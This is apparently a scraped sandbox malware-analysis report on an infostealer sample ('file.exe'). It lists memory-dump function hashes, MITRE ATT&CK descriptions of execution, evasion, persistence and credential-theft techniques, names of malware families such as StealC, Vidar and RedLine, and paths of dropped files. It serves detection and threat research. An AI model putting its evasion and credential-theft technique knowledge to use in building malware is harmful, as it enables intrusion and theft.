Memory Dump Source

Source File: 00000011.00000002.3059395167.0000000006AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_6af0000_VCIo8iTrPf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c9a2a411dfad8224149819cbcc65076de8ec924931784240ac3f8903b084388
Instruction ID: 71421d27ceac3c91087e19be007f69c17eeac07582f1112c1f0b89f5cb2b102d
Opcode Fuzzy Hash: 3c9a2a411dfad8224149819cbcc65076de8ec924931784240ac3f8903b084388
Instruction Fuzzy Hash: 1EF02431D10701CFDBA4DBA1D54076BBBB2EF80314F08886DE0424A910CAB5E449CB80

Function 06AF834B Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3059395167.0000000006AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_6af0000_VCIo8iTrPf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e44abfc8fe4b4ec9c2761b3476b46d80052476ddee9ff8891af22c2ddde26726
Instruction ID: 5522b9cfa9c235e0b7c6ed8d21bf687ee217b1ca015be8345f709e66ebb76e0a
Opcode Fuzzy Hash: e44abfc8fe4b4ec9c2761b3476b46d80052476ddee9ff8891af22c2ddde26726
Instruction Fuzzy Hash: 7BE09232B201195B4F50EBAEAC49EBFBBFDEA842617084137F718D3200EB30D80587A1

Function 06AFADF8 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3059395167.0000000006AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_6af0000_VCIo8iTrPf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc0cbeaeaf1bbc2685f692a15c3a2943bd04c4db7842ede55f4a68ee6b1be033
Instruction ID: 92480c7544aea23d545d112e12436460d3bb8094ebdec31175bc2ad783e91aed
Opcode Fuzzy Hash: fc0cbeaeaf1bbc2685f692a15c3a2943bd04c4db7842ede55f4a68ee6b1be033
Instruction Fuzzy Hash: 7DE0D831301104ABC3143B5AF889A9FBBDBEFCAB55B00412CF20ED3241CE69280547B1

Function 06AFC180 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3059395167.0000000006AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_6af0000_VCIo8iTrPf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e53508d1cd3666c933ada7001530f2b9845528bb30fa3ee977b1590fcc602651
Instruction ID: 7c08ad0e1ef112c1366ce43201fa6a5e6f3e8bd9a859b36f41a277017644d670
Opcode Fuzzy Hash: e53508d1cd3666c933ada7001530f2b9845528bb30fa3ee977b1590fcc602651
Instruction Fuzzy Hash: 37F09074501B058FD715DF2AE448516BBF6FF88300700C72EE44A82A10DB78A449CF84

Function 06AFAC70 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3059395167.0000000006AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_6af0000_VCIo8iTrPf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e6c10da2ce9148a43ce8b423f3a15cd4c247f9f79bc745e4b1a4c177f18ee55
Instruction ID: 76a6ee4ffbdf52df13e3311a0d2278385c60a8e5c589885fc7b0168d3f4b4dd5
Opcode Fuzzy Hash: 6e6c10da2ce9148a43ce8b423f3a15cd4c247f9f79bc745e4b1a4c177f18ee55
Instruction Fuzzy Hash: 7AE09B313092555FC7161734A8545AE7FA6DFC6656304009FF646C7182CE650D02C7E2

Function 06AFB500 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3059395167.0000000006AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_6af0000_VCIo8iTrPf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35509b2d84f75918d1eb27b8269aceef30c40598c08ec437f2699e819fc3e4f3
Instruction ID: 96ee3588660ead207aaaa033f3d835b2a17a4b881a8aef9bef76ba62654424a4
Opcode Fuzzy Hash: 35509b2d84f75918d1eb27b8269aceef30c40598c08ec437f2699e819fc3e4f3
Instruction Fuzzy Hash: F6F01E75E0020DAFCB41DFB8E9498DDBBB8EB48200F1082AAE845E2240EA355B55DB80

Function 06AFC120 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3059395167.0000000006AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_6af0000_VCIo8iTrPf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d52c80bd4980297cfb8b5c336a31db10dfc3443d9d2503ca6f0540cc2e528845
Instruction ID: 5e31b06dbdf6a66d7f7d71fc00462faceffc43bc1d924e47c7dd550039893765
Opcode Fuzzy Hash: d52c80bd4980297cfb8b5c336a31db10dfc3443d9d2503ca6f0540cc2e528845
Instruction Fuzzy Hash: AAE030302007558FC715A76DE80979E7FE6DFC5714F04052EE24687A41CBA9A8058B91

Function 06AFCC38 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3059395167.0000000006AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_6af0000_VCIo8iTrPf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2859219602195530ac63a9c4c7a1e63a05a3d2acea97c2dcd0fc8c2aa9027230
Instruction ID: 6b926f33fe96280aef5f52736d015fe11d54214ab6774549dbd2fcb482f01731
Opcode Fuzzy Hash: 2859219602195530ac63a9c4c7a1e63a05a3d2acea97c2dcd0fc8c2aa9027230
Instruction Fuzzy Hash: B0E048312052508FC715EF36FC515A9BBB1EF46361B015156D545C7A52C6381C878BD2

Function 06AF5698 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3059395167.0000000006AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_6af0000_VCIo8iTrPf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfb39b145e2014e9be43ab561f386c9e4dfbd2a8eed8cfb2faa781de65bf7912
Instruction ID: 426d95c96ff0b4553eb25492bc76a47fd07dc47c07340c9288dff379c0827131
Opcode Fuzzy Hash: dfb39b145e2014e9be43ab561f386c9e4dfbd2a8eed8cfb2faa781de65bf7912
Instruction Fuzzy Hash: F1E092B311C3009FD344DB60E8018567BA5EB95320F05887EF440CB141E631D881CB95

Function 06AFE280 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3059395167.0000000006AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_6af0000_VCIo8iTrPf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 864484644ccd0646dc55fcc0b35eb209e4541eab808c45c62e3954116d53c6d4
Instruction ID: c75ef10dfac0bac6e4518104e3a078199b5b3697aefc57ca0411f2bb734829e9
Opcode Fuzzy Hash: 864484644ccd0646dc55fcc0b35eb209e4541eab808c45c62e3954116d53c6d4
Instruction Fuzzy Hash: 96E0DF339002809FCB0AA335FD022847B66E78A700F031196E408CBAB0CA7C0E878BD2

Function 06AFCE88 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3059395167.0000000006AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_6af0000_VCIo8iTrPf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ffbf37749fd868da1ae316dc93fd8556f20e391fde2ebaad1071f99fb725ddf
Instruction ID: 3d4b388f4558d3a17fd8245dee40370b8cd7f6c33851fd44bafc21740149f266
Opcode Fuzzy Hash: 6ffbf37749fd868da1ae316dc93fd8556f20e391fde2ebaad1071f99fb725ddf
Instruction Fuzzy Hash: B6E0DFB0405381AFDB56EB34F819669BBB4DF42220B010199DD85CBA02DB380C83CBC1

Function 06AFE1FF Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3059395167.0000000006AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_6af0000_VCIo8iTrPf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 617e8263712a2e4f5bef7192e520e7828dac815469926824df89ff79bbc2a18e
Instruction ID: 1deabfe17234ec52351f54aff33a19cd0676d0512dd9c254068204fd3ef32e9f
Opcode Fuzzy Hash: 617e8263712a2e4f5bef7192e520e7828dac815469926824df89ff79bbc2a18e
Instruction Fuzzy Hash: 79E0D871909205FFCB01CB68EC0049E7FF5DF4221472043DAD408D32D1D9740F119B51

Function 06AF5D2B Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3059395167.0000000006AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_6af0000_VCIo8iTrPf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d8b1f3b55561353e19ae716b98571ad371ae215836d816a83f17b87aaf919da
Instruction ID: 8508a7c3273b9e5268f21d9367fc72aae39985fbd5800dc60f5e49eef5ab75b4
Opcode Fuzzy Hash: 5d8b1f3b55561353e19ae716b98571ad371ae215836d816a83f17b87aaf919da
Instruction Fuzzy Hash: 86E046712002049F8300EB98D884C91BBE9EF6925439684AAE948CF722C721EC02CFA0

Function 06AFAC80 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3059395167.0000000006AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_6af0000_VCIo8iTrPf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 032fa0c3470dbe6874e7afe1b92061b4e53f00c76c8fc1a2d51816ac1649460d
Instruction ID: 0ddf5ec1ccb1052b7f982dd6805676e9397c40362b9c396ba58f9624a3461559
Opcode Fuzzy Hash: 032fa0c3470dbe6874e7afe1b92061b4e53f00c76c8fc1a2d51816ac1649460d
Instruction Fuzzy Hash: ADD05E3130012D978A093769F8984AE7BABEBC5A62300006EF70BD3240CEB51D028BE6

Function 06AF5D30 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3059395167.0000000006AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_6af0000_VCIo8iTrPf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a880d529523b6dedf7106bce1f411f66629ba5331d1b087da42aa86ec04ed23d
Instruction ID: 638f53c805d557d9e285a7b3c38bc0e440945800b3a69b932fd4531b4d2a3f9a
Opcode Fuzzy Hash: a880d529523b6dedf7106bce1f411f66629ba5331d1b087da42aa86ec04ed23d
Instruction Fuzzy Hash: C1E08C313002048FC300EF9CD884C81BBE9FF5925435680AAE948CF322C721EC02CF90

Function 06AFB510 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3059395167.0000000006AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_6af0000_VCIo8iTrPf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f855c0c21d969b2f33140a2e3c5a9e98341ff6f59eccc4e3b6e9951d8f781fc0
Instruction ID: 020a63774f0cf14fb90601bc6ff654305260b63f2460993760b89c84621ac279
Opcode Fuzzy Hash: f855c0c21d969b2f33140a2e3c5a9e98341ff6f59eccc4e3b6e9951d8f781fc0
Instruction Fuzzy Hash: 0BE07E75E0020CEFCB44DFE8E9458DDBBB9EB48200F1082AAD909A3200EA356B559B80

Function 06AFE8F8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3059395167.0000000006AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_6af0000_VCIo8iTrPf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6b5385282bd1e79cefc8b493d435e5b947312ebaedfe4d88fac9cbacba7bc4a
Instruction ID: 8855a6ab982df323a725537d023ce2f7d01289cb53495ce63f865643bb3ddd06
Opcode Fuzzy Hash: b6b5385282bd1e79cefc8b493d435e5b947312ebaedfe4d88fac9cbacba7bc4a
Instruction Fuzzy Hash: 6EE012391142449FC7129F54C8509557FB5FF4A71172544CAE9C58F1B3D732D822DF50

Function 06AFE210 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3059395167.0000000006AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_6af0000_VCIo8iTrPf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 403640bf52586dd8aa568e3d7b49a8e5476365db5d722e68a93f5dff4a405870
Instruction ID: 6e3a1838a42680e3da4c5c47e366d7b220ce0372731dc97da9e441b3eeeaf081
Opcode Fuzzy Hash: 403640bf52586dd8aa568e3d7b49a8e5476365db5d722e68a93f5dff4a405870
Instruction Fuzzy Hash: FCD017B1A0020CFBCB04EFA8E90195DBBF9EB84208B1086ADD508E3240EA752E009B90

Function 06AFF8EB Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3059395167.0000000006AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_6af0000_VCIo8iTrPf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d7b83e168f0f0b44fe4c00b4daf2193ced25630d18d534ba34f35902a67eddf
Instruction ID: 02f2b89c54236103c1ed3bf45ee369060c57d2f1becd59c87331eaa34a1cfdb0
Opcode Fuzzy Hash: 4d7b83e168f0f0b44fe4c00b4daf2193ced25630d18d534ba34f35902a67eddf
Instruction Fuzzy Hash: F5C012B2B440200B4344B66CB81006EB6D787C8AEB3A6027BE60EC7348CDB88C424794

Function 06AF3723 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3059395167.0000000006AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_6af0000_VCIo8iTrPf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1701d213ad90354117afe4635f8a80302c6b619ce30e8441ff44f943d1dbdcda
Instruction ID: 8c5324114354e33ac0382fa014a7978cdfc2f7021795e5dde19153f4f30de0e3
Opcode Fuzzy Hash: 1701d213ad90354117afe4635f8a80302c6b619ce30e8441ff44f943d1dbdcda
Instruction Fuzzy Hash: 57B0127322010117F7005550EC07F203C13D3D4701F5990207706AB185CA96E00481F4

Function 06AFDFD1 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3059395167.0000000006AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_6af0000_VCIo8iTrPf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38862e066c25ba016767170ab0fb11c2913f9b1e6ebec82d59e87314ba2a3ab8
Instruction ID: 1e1d15771915245b484048656c7c707460d119e90e2fec9932a4a386b7864f5f
Opcode Fuzzy Hash: 38862e066c25ba016767170ab0fb11c2913f9b1e6ebec82d59e87314ba2a3ab8
Instruction Fuzzy Hash: 06C09B7598F7C28FDF460774D81D504BF716FD671071500D6E141CE062D7390415C751

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API ).
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Xworm

Threatname: Vidar

Threatname: Amadey

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFCBKFHJJJKKFHIDAAKF

C:\ProgramData\AKKEGDGC

C:\ProgramData\CBKJJJDHDGDAAKECAKJD

Windows Analysis Report
file.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
